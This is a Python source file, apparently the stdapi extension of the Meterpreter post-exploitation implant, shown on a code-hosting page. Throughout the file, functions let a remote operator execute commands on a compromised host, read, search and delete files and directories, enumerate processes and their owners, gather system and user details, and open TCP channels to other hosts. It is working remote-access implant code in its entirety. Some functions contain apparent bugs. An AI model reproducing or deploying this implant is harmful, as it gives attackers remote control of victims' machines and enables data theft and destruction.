637 lines
23 KiB
Python
637 lines
23 KiB
Python
import os
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import sys
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import shlex
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import ctypes
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import socket
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import struct
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import shutil
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import fnmatch
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import getpass
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import platform
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import subprocess
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has_windll = hasattr(ctypes, 'windll')
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try:
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import pwd
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has_pwd = True
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except ImportError:
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has_pwd = False
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class PROCESSENTRY32(ctypes.Structure):
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_fields_ = [("dwSize", ctypes.c_uint32),
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("cntUsage", ctypes.c_uint32),
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("th32ProcessID", ctypes.c_uint32),
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("th32DefaultHeapID", ctypes.c_void_p),
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("th32ModuleID", ctypes.c_uint32),
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("cntThreads", ctypes.c_uint32),
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("th32ParentProcessID", ctypes.c_uint32),
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("thPriClassBase", ctypes.c_int32),
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("dwFlags", ctypes.c_uint32),
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("szExeFile", (ctypes.c_char * 260))]
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class SYSTEM_INFO(ctypes.Structure):
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_fields_ = [("wProcessorArchitecture", ctypes.c_uint16),
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("wReserved", ctypes.c_uint16),
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("dwPageSize", ctypes.c_uint32),
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("lpMinimumApplicationAddress", ctypes.c_void_p),
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("lpMaximumApplicationAddress", ctypes.c_void_p),
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("dwActiveProcessorMask", ctypes.c_uint32),
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("dwNumberOfProcessors", ctypes.c_uint32),
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("dwProcessorType", ctypes.c_uint32),
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("dwAllocationGranularity", ctypes.c_uint32),
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("wProcessorLevel", ctypes.c_uint16),
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("wProcessorRevision", ctypes.c_uint16),]
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class SID_AND_ATTRIBUTES(ctypes.Structure):
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_fields_ = [("Sid", ctypes.c_void_p),
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("Attributes", ctypes.c_uint32),]
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##
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# STDAPI
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##
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#
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# TLV Meta Types
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#
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TLV_META_TYPE_NONE = ( 0 )
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TLV_META_TYPE_STRING = (1 << 16)
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TLV_META_TYPE_UINT = (1 << 17)
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TLV_META_TYPE_RAW = (1 << 18)
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TLV_META_TYPE_BOOL = (1 << 19)
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TLV_META_TYPE_COMPRESSED = (1 << 29)
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TLV_META_TYPE_GROUP = (1 << 30)
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TLV_META_TYPE_COMPLEX = (1 << 31)
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# not defined in original
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TLV_META_TYPE_MASK = (1<<31)+(1<<30)+(1<<29)+(1<<19)+(1<<18)+(1<<17)+(1<<16)
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#
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# TLV Specific Types
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#
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TLV_TYPE_ANY = TLV_META_TYPE_NONE | 0
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TLV_TYPE_METHOD = TLV_META_TYPE_STRING | 1
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TLV_TYPE_REQUEST_ID = TLV_META_TYPE_STRING | 2
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TLV_TYPE_EXCEPTION = TLV_META_TYPE_GROUP | 3
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TLV_TYPE_RESULT = TLV_META_TYPE_UINT | 4
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TLV_TYPE_STRING = TLV_META_TYPE_STRING | 10
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TLV_TYPE_UINT = TLV_META_TYPE_UINT | 11
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TLV_TYPE_BOOL = TLV_META_TYPE_BOOL | 12
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TLV_TYPE_LENGTH = TLV_META_TYPE_UINT | 25
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TLV_TYPE_DATA = TLV_META_TYPE_RAW | 26
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TLV_TYPE_FLAGS = TLV_META_TYPE_UINT | 27
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TLV_TYPE_CHANNEL_ID = TLV_META_TYPE_UINT | 50
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TLV_TYPE_CHANNEL_TYPE = TLV_META_TYPE_STRING | 51
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TLV_TYPE_CHANNEL_DATA = TLV_META_TYPE_RAW | 52
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TLV_TYPE_CHANNEL_DATA_GROUP = TLV_META_TYPE_GROUP | 53
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TLV_TYPE_CHANNEL_CLASS = TLV_META_TYPE_UINT | 54
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##
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# General
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##
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TLV_TYPE_HANDLE = TLV_META_TYPE_UINT | 600
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TLV_TYPE_INHERIT = TLV_META_TYPE_BOOL | 601
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TLV_TYPE_PROCESS_HANDLE = TLV_META_TYPE_UINT | 630
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TLV_TYPE_THREAD_HANDLE = TLV_META_TYPE_UINT | 631
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##
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# Fs
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##
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TLV_TYPE_DIRECTORY_PATH = TLV_META_TYPE_STRING | 1200
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TLV_TYPE_FILE_NAME = TLV_META_TYPE_STRING | 1201
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TLV_TYPE_FILE_PATH = TLV_META_TYPE_STRING | 1202
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TLV_TYPE_FILE_MODE = TLV_META_TYPE_STRING | 1203
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TLV_TYPE_FILE_SIZE = TLV_META_TYPE_UINT | 1204
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TLV_TYPE_STAT_BUF = TLV_META_TYPE_COMPLEX | 1220
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TLV_TYPE_SEARCH_RECURSE = TLV_META_TYPE_BOOL | 1230
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TLV_TYPE_SEARCH_GLOB = TLV_META_TYPE_STRING | 1231
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TLV_TYPE_SEARCH_ROOT = TLV_META_TYPE_STRING | 1232
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TLV_TYPE_SEARCH_RESULTS = TLV_META_TYPE_GROUP | 1233
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##
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# Net
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##
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TLV_TYPE_HOST_NAME = TLV_META_TYPE_STRING | 1400
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TLV_TYPE_PORT = TLV_META_TYPE_UINT | 1401
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TLV_TYPE_SUBNET = TLV_META_TYPE_RAW | 1420
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TLV_TYPE_NETMASK = TLV_META_TYPE_RAW | 1421
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TLV_TYPE_GATEWAY = TLV_META_TYPE_RAW | 1422
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TLV_TYPE_NETWORK_ROUTE = TLV_META_TYPE_GROUP | 1423
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TLV_TYPE_IP = TLV_META_TYPE_RAW | 1430
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TLV_TYPE_MAC_ADDRESS = TLV_META_TYPE_RAW | 1431
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TLV_TYPE_MAC_NAME = TLV_META_TYPE_STRING | 1432
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TLV_TYPE_NETWORK_INTERFACE = TLV_META_TYPE_GROUP | 1433
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TLV_TYPE_SUBNET_STRING = TLV_META_TYPE_STRING | 1440
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TLV_TYPE_NETMASK_STRING = TLV_META_TYPE_STRING | 1441
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TLV_TYPE_GATEWAY_STRING = TLV_META_TYPE_STRING | 1442
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# Socket
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TLV_TYPE_PEER_HOST = TLV_META_TYPE_STRING | 1500
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TLV_TYPE_PEER_PORT = TLV_META_TYPE_UINT | 1501
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TLV_TYPE_LOCAL_HOST = TLV_META_TYPE_STRING | 1502
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TLV_TYPE_LOCAL_PORT = TLV_META_TYPE_UINT | 1503
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TLV_TYPE_CONNECT_RETRIES = TLV_META_TYPE_UINT | 1504
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TLV_TYPE_SHUTDOWN_HOW = TLV_META_TYPE_UINT | 1530
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# Registry
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TLV_TYPE_HKEY = TLV_META_TYPE_UINT | 1000
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TLV_TYPE_ROOT_KEY = TLV_TYPE_HKEY
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TLV_TYPE_BASE_KEY = TLV_META_TYPE_STRING | 1001
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TLV_TYPE_PERMISSION = TLV_META_TYPE_UINT | 1002
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TLV_TYPE_KEY_NAME = TLV_META_TYPE_STRING | 1003
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TLV_TYPE_VALUE_NAME = TLV_META_TYPE_STRING | 1010
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TLV_TYPE_VALUE_TYPE = TLV_META_TYPE_UINT | 1011
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TLV_TYPE_VALUE_DATA = TLV_META_TYPE_RAW | 1012
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# Config
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TLV_TYPE_COMPUTER_NAME = TLV_META_TYPE_STRING | 1040
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TLV_TYPE_OS_NAME = TLV_META_TYPE_STRING | 1041
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TLV_TYPE_USER_NAME = TLV_META_TYPE_STRING | 1042
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TLV_TYPE_ARCHITECTURE = TLV_META_TYPE_STRING | 1043
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DELETE_KEY_FLAG_RECURSIVE = (1 << 0)
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# Process
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TLV_TYPE_BASE_ADDRESS = TLV_META_TYPE_UINT | 2000
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TLV_TYPE_ALLOCATION_TYPE = TLV_META_TYPE_UINT | 2001
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TLV_TYPE_PROTECTION = TLV_META_TYPE_UINT | 2002
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TLV_TYPE_PROCESS_PERMS = TLV_META_TYPE_UINT | 2003
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TLV_TYPE_PROCESS_MEMORY = TLV_META_TYPE_RAW | 2004
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TLV_TYPE_ALLOC_BASE_ADDRESS = TLV_META_TYPE_UINT | 2005
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TLV_TYPE_MEMORY_STATE = TLV_META_TYPE_UINT | 2006
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TLV_TYPE_MEMORY_TYPE = TLV_META_TYPE_UINT | 2007
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TLV_TYPE_ALLOC_PROTECTION = TLV_META_TYPE_UINT | 2008
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TLV_TYPE_PID = TLV_META_TYPE_UINT | 2300
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TLV_TYPE_PROCESS_NAME = TLV_META_TYPE_STRING | 2301
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TLV_TYPE_PROCESS_PATH = TLV_META_TYPE_STRING | 2302
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TLV_TYPE_PROCESS_GROUP = TLV_META_TYPE_GROUP | 2303
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TLV_TYPE_PROCESS_FLAGS = TLV_META_TYPE_UINT | 2304
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TLV_TYPE_PROCESS_ARGUMENTS = TLV_META_TYPE_STRING | 2305
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TLV_TYPE_PROCESS_ARCH = TLV_META_TYPE_UINT | 2306
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TLV_TYPE_PARENT_PID = TLV_META_TYPE_UINT | 2307
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TLV_TYPE_IMAGE_FILE = TLV_META_TYPE_STRING | 2400
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TLV_TYPE_IMAGE_FILE_PATH = TLV_META_TYPE_STRING | 2401
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TLV_TYPE_PROCEDURE_NAME = TLV_META_TYPE_STRING | 2402
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TLV_TYPE_PROCEDURE_ADDRESS = TLV_META_TYPE_UINT | 2403
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TLV_TYPE_IMAGE_BASE = TLV_META_TYPE_UINT | 2404
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TLV_TYPE_IMAGE_GROUP = TLV_META_TYPE_GROUP | 2405
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TLV_TYPE_IMAGE_NAME = TLV_META_TYPE_STRING | 2406
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TLV_TYPE_THREAD_ID = TLV_META_TYPE_UINT | 2500
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TLV_TYPE_THREAD_PERMS = TLV_META_TYPE_UINT | 2502
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TLV_TYPE_EXIT_CODE = TLV_META_TYPE_UINT | 2510
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TLV_TYPE_ENTRY_POINT = TLV_META_TYPE_UINT | 2511
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TLV_TYPE_ENTRY_PARAMETER = TLV_META_TYPE_UINT | 2512
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TLV_TYPE_CREATION_FLAGS = TLV_META_TYPE_UINT | 2513
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TLV_TYPE_REGISTER_NAME = TLV_META_TYPE_STRING | 2540
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TLV_TYPE_REGISTER_SIZE = TLV_META_TYPE_UINT | 2541
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TLV_TYPE_REGISTER_VALUE_32 = TLV_META_TYPE_UINT | 2542
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TLV_TYPE_REGISTER = TLV_META_TYPE_GROUP | 2550
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##
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# Ui
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##
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TLV_TYPE_IDLE_TIME = TLV_META_TYPE_UINT | 3000
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TLV_TYPE_KEYS_DUMP = TLV_META_TYPE_STRING | 3001
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TLV_TYPE_DESKTOP = TLV_META_TYPE_STRING | 3002
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##
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# Event Log
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##
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TLV_TYPE_EVENT_SOURCENAME = TLV_META_TYPE_STRING | 4000
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TLV_TYPE_EVENT_HANDLE = TLV_META_TYPE_UINT | 4001
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TLV_TYPE_EVENT_NUMRECORDS = TLV_META_TYPE_UINT | 4002
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TLV_TYPE_EVENT_READFLAGS = TLV_META_TYPE_UINT | 4003
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TLV_TYPE_EVENT_RECORDOFFSET = TLV_META_TYPE_UINT | 4004
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TLV_TYPE_EVENT_RECORDNUMBER = TLV_META_TYPE_UINT | 4006
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TLV_TYPE_EVENT_TIMEGENERATED = TLV_META_TYPE_UINT | 4007
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TLV_TYPE_EVENT_TIMEWRITTEN = TLV_META_TYPE_UINT | 4008
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TLV_TYPE_EVENT_ID = TLV_META_TYPE_UINT | 4009
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TLV_TYPE_EVENT_TYPE = TLV_META_TYPE_UINT | 4010
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TLV_TYPE_EVENT_CATEGORY = TLV_META_TYPE_UINT | 4011
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TLV_TYPE_EVENT_STRING = TLV_META_TYPE_STRING | 4012
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TLV_TYPE_EVENT_DATA = TLV_META_TYPE_RAW | 4013
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##
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# Power
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##
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TLV_TYPE_POWER_FLAGS = TLV_META_TYPE_UINT | 4100
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TLV_TYPE_POWER_REASON = TLV_META_TYPE_UINT | 4101
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##
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# Sys
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##
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PROCESS_EXECUTE_FLAG_HIDDEN = (1 << 0)
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PROCESS_EXECUTE_FLAG_CHANNELIZED = (1 << 1)
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PROCESS_EXECUTE_FLAG_SUSPENDED = (1 << 2)
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PROCESS_EXECUTE_FLAG_USE_THREAD_TOKEN = (1 << 3)
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PROCESS_ARCH_UNKNOWN = 0
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PROCESS_ARCH_X86 = 1
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PROCESS_ARCH_X64 = 2
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PROCESS_ARCH_IA64 = 3
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##
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# Errors
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##
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ERROR_SUCCESS = 0
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# not defined in original C implementation
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ERROR_FAILURE = 1
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# Special return value to match up with Windows error codes for network
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# errors.
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ERROR_CONNECTION_ERROR = 10000
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def get_stat_buffer(path):
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si = os.stat(path)
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rdev = 0
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if hasattr(si, 'st_rdev'):
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rdev = si.st_rdev
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blksize = 0
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if hasattr(si, 'st_blksize'):
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blksize = si.st_blksize
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blocks = 0
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if hasattr(si, 'st_blocks'):
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blocks = si.st_blocks
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st_buf = struct.pack('<IHHH', si.st_dev, min(0xffff, si.st_ino), si.st_mode, si.st_nlink)
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st_buf += struct.pack('<HHHI', si.st_uid, si.st_gid, 0, rdev)
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st_buf += struct.pack('<IIII', si.st_size, si.st_atime, si.st_mtime, si.st_ctime)
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st_buf += struct.pack('<II', blksize, blocks)
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return st_buf
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def windll_GetNativeSystemInfo():
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if not has_windll:
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return None
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sysinfo = SYSTEM_INFO()
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ctypes.windll.kernel32.GetNativeSystemInfo(ctypes.byref(sysinfo))
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return {0:PROCESS_ARCH_X86, 6:PROCESS_ARCH_IA64, 9:PROCESS_ARCH_X64}.get(sysinfo.wProcessorArchitecture, PROCESS_ARCH_UNKNOWN)
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@meterpreter.register_function
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def channel_create_stdapi_fs_file(request, response):
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fpath = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
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fmode = packet_get_tlv(request, TLV_TYPE_FILE_MODE)
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if fmode:
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fmode = fmode['value']
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else:
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fmode = 'rb'
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file_h = open(fpath, fmode)
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channel_id = len(meterpreter.channels)
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meterpreter.channels[channel_id] = file_h
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response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
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return ERROR_SUCCESS, response
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@meterpreter.register_function
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def channel_create_stdapi_net_tcp_client(request, response):
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host = packet_get_tlv(request, TLV_TYPE_PEER_HOST)['value']
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port = packet_get_tlv(request, TLV_TYPE_PEER_PORT)['value']
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local_host = packet_get_tlv(request, TLV_TYPE_LOCAL_HOST)
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local_port = packet_get_tlv(request, TLV_TYPE_LOCAL_PORT)
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retries = packet_get_tlv(request, TLV_TYPE_CONNECT_RETRIES).get('value', 1)
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connected = False
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for i in range(retries + 1):
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sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
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if local_host.get('value') and local_port.get('value'):
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sock.bind((local_host['value'], local_port['value']))
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try:
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sock.connect((host, port))
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connected = True
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break
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except:
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pass
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if not connected:
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return ERROR_CONNECTION_ERROR, response
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channel_id = len(meterpreter.channels)
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meterpreter.channels[channel_id] = sock
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response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
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return ERROR_SUCCESS, response
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@meterpreter.register_function
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def stdapi_sys_config_getuid(request, response):
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response += tlv_pack(TLV_TYPE_USER_NAME, getpass.getuser())
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return ERROR_SUCCESS, response
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@meterpreter.register_function
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def stdapi_sys_config_sysinfo(request, response):
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uname_info = platform.uname()
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response += tlv_pack(TLV_TYPE_COMPUTER_NAME, uname_info[1])
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response += tlv_pack(TLV_TYPE_OS_NAME, uname_info[0] + ' ' + uname_info[2] + ' ' + uname_info[3])
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arch = uname_info[4]
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if has_windll:
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arch = windll_GetNativeSystemInfo()
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if arch == PROCESS_ARCH_IA64:
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arch = 'IA64'
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elif arch == PROCESS_ARCH_X64:
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arch = 'x86_64'
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elif arch == PROCESS_ARCH_X86:
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arch = 'x86'
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else:
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arch = uname_info[4]
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response += tlv_pack(TLV_TYPE_ARCHITECTURE, arch)
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return ERROR_SUCCESS, response
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@meterpreter.register_function
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def stdapi_sys_process_close(request, response):
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proc_h_id = packet_get_tlv(request, TLV_TYPE_PROCESS_HANDLE)
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if not proc_h_id:
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return ERROR_SUCCESS, response
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proc_h_id = proc_h_id['value']
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if not proc_h_id in meterpreter.processes:
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print("[-] trying to close non-existent channel: " + str(proc_h_id))
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proc_h = meterpreter.channels[proc_h_id]
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proc_h.kill()
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return ERROR_SUCCESS, response
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@meterpreter.register_function
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def stdapi_sys_process_execute(request, response):
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cmd = packet_get_tlv(request, TLV_TYPE_PROCESS_PATH)['value']
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raw_args = packet_get_tlv(request, TLV_TYPE_PROCESS_ARGUMENTS)
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if raw_args:
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raw_args = raw_args['value']
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else:
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raw_args = ""
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flags = packet_get_tlv(request, TLV_TYPE_PROCESS_FLAGS)['value']
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if len(cmd) == 0:
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return ERROR_FAILURE, response
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args = [cmd]
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args.extend(shlex.split(raw_args))
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if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED):
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proc_h = STDProcess(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
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else:
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proc_h = subprocess.Popen(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
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proc_h_id = len(meterpreter.processes)
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meterpreter.processes[proc_h_id] = proc_h
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response += tlv_pack(TLV_TYPE_PID, proc_h.pid)
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response += tlv_pack(TLV_TYPE_PROCESS_HANDLE, proc_h_id)
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if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED):
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channel_id = len(meterpreter.channels)
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meterpreter.channels[channel_id] = proc_h
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response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
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return ERROR_SUCCESS, response
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@meterpreter.register_function
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def stdapi_sys_process_getpid(request, response):
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response += tlv_pack(TLV_TYPE_PID, os.getpid())
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return ERROR_SUCCESS, response
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def stdapi_sys_process_get_processes_via_proc(request, response):
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for pid in os.listdir('/proc'):
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pgroup = ''
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if not os.path.isdir(os.path.join('/proc', pid)) or not pid.isdigit():
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continue
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cmd = open(os.path.join('/proc', pid, 'cmdline'), 'rb').read(512).replace('\x00', ' ')
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status_data = open(os.path.join('/proc', pid, 'status'), 'rb').read()
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status_data = map(lambda x: x.split('\t',1), status_data.split('\n'))
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status_data = filter(lambda x: len(x) == 2, status_data)
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status = {}
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for k, v in status_data:
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status[k[:-1]] = v.strip()
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ppid = status.get('PPid')
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uid = status.get('Uid').split('\t', 1)[0]
|
|
if has_pwd:
|
|
uid = pwd.getpwuid(int(uid)).pw_name
|
|
if cmd:
|
|
pname = os.path.basename(cmd.split(' ', 1)[0])
|
|
ppath = cmd
|
|
else:
|
|
pname = '[' + status['Name'] + ']'
|
|
ppath = ''
|
|
pgroup += tlv_pack(TLV_TYPE_PID, int(pid))
|
|
if ppid:
|
|
pgroup += tlv_pack(TLV_TYPE_PARENT_PID, int(ppid))
|
|
pgroup += tlv_pack(TLV_TYPE_USER_NAME, uid)
|
|
pgroup += tlv_pack(TLV_TYPE_PROCESS_NAME, pname)
|
|
pgroup += tlv_pack(TLV_TYPE_PROCESS_PATH, ppath)
|
|
response += tlv_pack(TLV_TYPE_PROCESS_GROUP, pgroup)
|
|
return ERROR_SUCCESS, response
|
|
|
|
def stdapi_sys_process_get_processes_via_windll(request, response):
|
|
TH32CS_SNAPPROCESS = 2
|
|
PROCESS_QUERY_INFORMATION = 0x0400
|
|
PROCESS_QUERY_LIMITED_INFORMATION = 0x1000
|
|
PROCESS_VM_READ = 0x10
|
|
TOKEN_QUERY = 0x0008
|
|
TokenUser = 1
|
|
k32 = ctypes.windll.kernel32
|
|
pe32 = PROCESSENTRY32()
|
|
pe32.dwSize = ctypes.sizeof(PROCESSENTRY32)
|
|
proc_snap = k32.CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
|
|
result = k32.Process32First(proc_snap, ctypes.byref(pe32))
|
|
if not result:
|
|
return ERROR_FAILURE, response
|
|
while result:
|
|
proc_h = k32.OpenProcess((PROCESS_QUERY_INFORMATION | PROCESS_VM_READ), False, pe32.th32ProcessID)
|
|
if not proc_h:
|
|
proc_h = k32.OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, False, pe32.th32ProcessID)
|
|
exe_path = (ctypes.c_char * 1024)()
|
|
success = False
|
|
if hasattr(ctypes.windll.psapi, 'GetModuleFileNameExA'):
|
|
success = ctypes.windll.psapi.GetModuleFileNameExA(proc_h, 0, exe_path, ctypes.sizeof(exe_path))
|
|
elif hasattr(k32, 'GetModuleFileNameExA'):
|
|
success = k32.GetModuleFileNameExA(proc_h, 0, exe_path, ctypes.sizeof(exe_path))
|
|
if not success and hasattr(k32, 'QueryFullProcessImageNameA'):
|
|
dw_sz = ctypes.c_uint32()
|
|
dw_sz.value = ctypes.sizeof(exe_path)
|
|
success = k32.QueryFullProcessImageNameA(proc_h, 0, exe_path, ctypes.byref(dw_sz))
|
|
if not success and hasattr(ctypes.windll.psapi, 'GetProcessImageFileNameA'):
|
|
success = ctypes.windll.psapi.GetProcessImageFileNameA(proc_h, exe_path, ctypes.sizeof(exe_path))
|
|
if success:
|
|
exe_path = ctypes.string_at(exe_path)
|
|
else:
|
|
exe_path = ''
|
|
complete_username = ''
|
|
tkn_h = ctypes.c_long()
|
|
tkn_len = ctypes.c_uint32()
|
|
if ctypes.windll.advapi32.OpenProcessToken(proc_h, TOKEN_QUERY, ctypes.byref(tkn_h)):
|
|
ctypes.windll.advapi32.GetTokenInformation(tkn_h, TokenUser, None, 0, ctypes.byref(tkn_len))
|
|
buf = (ctypes.c_ubyte * tkn_len.value)()
|
|
if ctypes.windll.advapi32.GetTokenInformation(tkn_h, TokenUser, ctypes.byref(buf), ctypes.sizeof(buf), ctypes.byref(tkn_len)):
|
|
user_tkn = SID_AND_ATTRIBUTES()
|
|
ctypes.memmove(ctypes.byref(user_tkn), buf, ctypes.sizeof(user_tkn))
|
|
username = (ctypes.c_char * 512)()
|
|
domain = (ctypes.c_char * 512)()
|
|
u_len = ctypes.c_uint32()
|
|
u_len.value = ctypes.sizeof(username)
|
|
d_len = ctypes.c_uint32()
|
|
d_len.value = ctypes.sizeof(domain)
|
|
use = ctypes.c_ulong()
|
|
use.value = 0
|
|
ctypes.windll.advapi32.LookupAccountSidA(None, user_tkn.Sid, username, ctypes.byref(u_len), domain, ctypes.byref(d_len), ctypes.byref(use))
|
|
complete_username = ctypes.string_at(domain) + '\\' + ctypes.string_at(username)
|
|
k32.CloseHandle(tkn_h)
|
|
parch = windll_GetNativeSystemInfo()
|
|
is_wow64 = ctypes.c_ubyte()
|
|
is_wow64.value = 0
|
|
if hasattr(k32, 'IsWow64Process'):
|
|
if k32.IsWow64Process(proc_h, ctypes.byref(is_wow64)):
|
|
if is_wow64.value:
|
|
parch = PROCESS_ARCH_X86
|
|
pgroup = ''
|
|
pgroup += tlv_pack(TLV_TYPE_PID, pe32.th32ProcessID)
|
|
pgroup += tlv_pack(TLV_TYPE_PARENT_PID, pe32.th32ParentProcessID)
|
|
pgroup += tlv_pack(TLV_TYPE_USER_NAME, complete_username)
|
|
pgroup += tlv_pack(TLV_TYPE_PROCESS_NAME, pe32.szExeFile)
|
|
pgroup += tlv_pack(TLV_TYPE_PROCESS_PATH, exe_path)
|
|
pgroup += tlv_pack(TLV_TYPE_PROCESS_ARCH, parch)
|
|
response += tlv_pack(TLV_TYPE_PROCESS_GROUP, pgroup)
|
|
result = k32.Process32Next(proc_snap, ctypes.byref(pe32))
|
|
k32.CloseHandle(proc_h)
|
|
k32.CloseHandle(proc_snap)
|
|
return ERROR_SUCCESS, response
|
|
|
|
@meterpreter.register_function
|
|
def stdapi_sys_process_get_processes(request, response):
|
|
if os.path.isdir('/proc'):
|
|
return stdapi_sys_process_get_processes_via_proc(request, response)
|
|
elif has_windll:
|
|
return stdapi_sys_process_get_processes_via_windll(request, response)
|
|
return ERROR_FAILURE, response
|
|
|
|
@meterpreter.register_function
|
|
def stdapi_fs_chdir(request, response):
|
|
wd = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
|
|
os.chdir(wd)
|
|
return ERROR_SUCCESS, response
|
|
|
|
@meterpreter.register_function
|
|
def stdapi_fs_delete(request, response):
|
|
file_path = packet_get_tlv(request, TLV_TYPE_FILE_NAME)['value']
|
|
os.unlink(file_path)
|
|
return ERROR_SUCCESS, response
|
|
|
|
@meterpreter.register_function
|
|
def stdapi_fs_delete_dir(request, response):
|
|
dir_path = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
|
|
if os.path.islink(dir_path):
|
|
del_func = os.unlink
|
|
else:
|
|
del_func = shutil.rmtree
|
|
del_func(dir_path)
|
|
return ERROR_SUCCESS, response
|
|
|
|
@meterpreter.register_function
|
|
def stdapi_fs_delete_file(request, response):
|
|
file_path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
|
os.unlink(file_path)
|
|
return ERROR_SUCCESS, response
|
|
|
|
@meterpreter.register_function
|
|
def stdapi_fs_file_expand_path(request, response):
|
|
path_tlv = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
|
if path_tlv == '%COMSPEC%':
|
|
if platform.system() == 'Windows':
|
|
result = 'cmd.exe'
|
|
else:
|
|
result = '/bin/sh'
|
|
elif path_tlv in ['%TEMP%', '%TMP%'] and platform.system() != 'Windows':
|
|
result = '/tmp'
|
|
else:
|
|
result = os.getenv(path_tlv)
|
|
if not result:
|
|
return ERROR_FAILURE, response
|
|
response += tlv_pack(TLV_TYPE_FILE_PATH, result)
|
|
return ERROR_SUCCESS, response
|
|
|
|
@meterpreter.register_function
|
|
def stdapi_fs_getwd(request, response):
|
|
response += tlv_pack(TLV_TYPE_DIRECTORY_PATH, os.getcwd())
|
|
return ERROR_SUCCESS, response
|
|
|
|
@meterpreter.register_function
|
|
def stdapi_fs_ls(request, response):
|
|
path = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
|
|
path = os.path.abspath(path)
|
|
contents = os.listdir(path)
|
|
contents.sort()
|
|
for x in contents:
|
|
y = os.path.join(path, x)
|
|
response += tlv_pack(TLV_TYPE_FILE_NAME, x)
|
|
response += tlv_pack(TLV_TYPE_FILE_PATH, y)
|
|
response += tlv_pack(TLV_TYPE_STAT_BUF, get_stat_buffer(y))
|
|
return ERROR_SUCCESS, response
|
|
|
|
@meterpreter.register_function
|
|
def stdapi_fs_md5(request, response):
|
|
if sys.version_info[0] == 2 and sys.version_info[1] < 5:
|
|
import md5
|
|
m = md5.new()
|
|
else:
|
|
import hashlib
|
|
m = hashlib.md5()
|
|
path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
|
m.update(open(path, 'rb').read())
|
|
response += tlv_pack(TLV_TYPE_FILE_NAME, m.hexdigest())
|
|
return ERROR_SUCCESS, response
|
|
|
|
@meterpreter.register_function
|
|
def stdapi_fs_mkdir(request, response):
|
|
dir_path = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
|
|
os.mkdir(dir_path)
|
|
return ERROR_SUCCESS, response
|
|
|
|
@meterpreter.register_function
|
|
def stdapi_fs_search(request, response):
|
|
search_root = packet_get_tlv(request, TLV_TYPE_SEARCH_ROOT).get('value', '.')
|
|
search_root = ('' or '.') # sometimes it's an empty string
|
|
glob = packet_get_tlv(request, TLV_TYPE_SEARCH_GLOB)['value']
|
|
recurse = packet_get_tlv(request, TLV_TYPE_SEARCH_RECURSE)['value']
|
|
if recurse:
|
|
for root, dirs, files in os.walk(search_root):
|
|
for f in filter(lambda f: fnmatch.fnmatch(f, glob), files):
|
|
file_tlv = ''
|
|
file_tlv += tlv_pack(TLV_TYPE_FILE_PATH, root)
|
|
file_tlv += tlv_pack(TLV_TYPE_FILE_NAME, f)
|
|
file_tlv += tlv_pack(TLV_TYPE_FILE_SIZE, os.stat(os.path.join(root, f)).st_size)
|
|
response += tlv_pack(TLV_TYPE_SEARCH_RESULTS, file_tlv)
|
|
else:
|
|
for f in filter(lambda f: fnmatch.fnmatch(f, glob), os.listdir(search_root)):
|
|
file_tlv = ''
|
|
file_tlv += tlv_pack(TLV_TYPE_FILE_PATH, search_root)
|
|
file_tlv += tlv_pack(TLV_TYPE_FILE_NAME, f)
|
|
file_tlv += tlv_pack(TLV_TYPE_FILE_SIZE, os.stat(os.path.join(search_root, f)).st_size)
|
|
response += tlv_pack(TLV_TYPE_SEARCH_RESULTS, file_tlv)
|
|
return ERROR_SUCCESS, response
|
|
|
|
@meterpreter.register_function
|
|
def stdapi_fs_separator(request, response):
|
|
response += tlv_pack(TLV_TYPE_STRING, os.sep)
|
|
return ERROR_SUCCESS, response
|
|
|
|
@meterpreter.register_function
|
|
def stdapi_fs_sha1(request, response):
|
|
if sys.version_info[0] == 2 and sys.version_info[1] < 5:
|
|
import sha1
|
|
m = sha1.new()
|
|
else:
|
|
import hashlib
|
|
m = hashlib.sha1()
|
|
path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
|
m.update(open(path, 'rb').read())
|
|
response += tlv_pack(TLV_TYPE_FILE_NAME, m.hexdigest())
|
|
return ERROR_SUCCESS, response
|
|
|
|
@meterpreter.register_function
|
|
def stdapi_fs_stat(request, response):
|
|
path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
|
st_buf = get_stat_buffer(path)
|
|
response += tlv_pack(TLV_TYPE_STAT_BUF, st_buf)
|
|
return ERROR_SUCCESS, response
|
|
|
|
@meterpreter.register_function
|
|
def stdapi_net_socket_tcp_shutdown(request, response):
|
|
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)
|
|
channel = meterpreter.channels[channel_id]
|
|
channel.close()
|
|
return ERROR_SUCCESS, response
|